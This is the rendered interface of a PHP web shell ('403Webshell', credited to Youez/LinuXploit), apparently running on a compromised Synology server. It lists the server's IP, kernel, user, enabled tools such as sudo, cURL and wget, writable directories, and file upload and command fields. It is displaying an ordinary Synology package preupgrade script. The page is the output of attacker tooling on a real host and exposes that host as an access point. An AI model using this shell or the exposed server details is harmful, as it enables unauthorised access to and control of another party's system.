403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/ActiveInsight/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/ActiveInsight/scripts/preupgrade
#!/bin/bash
# Copyright (c) 2019 Synology Inc. All rights reserved.

. "${SYNOPKG_PKGINST_TEMP_DIR}"/../scripts/pkg_utils

PrepareUpgradeConfig()
{
	Rm -rf "${UPGRADE_TMP_DIR}"
	Mkdir -p "${UPGRADE_TMP_DIR}"

	if [ -f "${MIB_CONF_PATH}" ]; then
		Cp -pf "${MIB_CONF_PATH}" "${UPGRADE_TMP_DIR}"
	fi

	echo "${SYNOPKG_OLD_PKGVER}" > "${OLD_PKG_VER_FOR_UPGRADE_PATH}"
}

ResetVolumeActionHookForLoginUploader()
{
	## Workaround: MIB_PKG-751
	/usr/syno/bin/synosystemctl remove-service-reason volume-action-hook pkg-mib-login-uploader
}

PrepareUpgradeConfig
ResetVolumeActionHookForLoginUploader

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit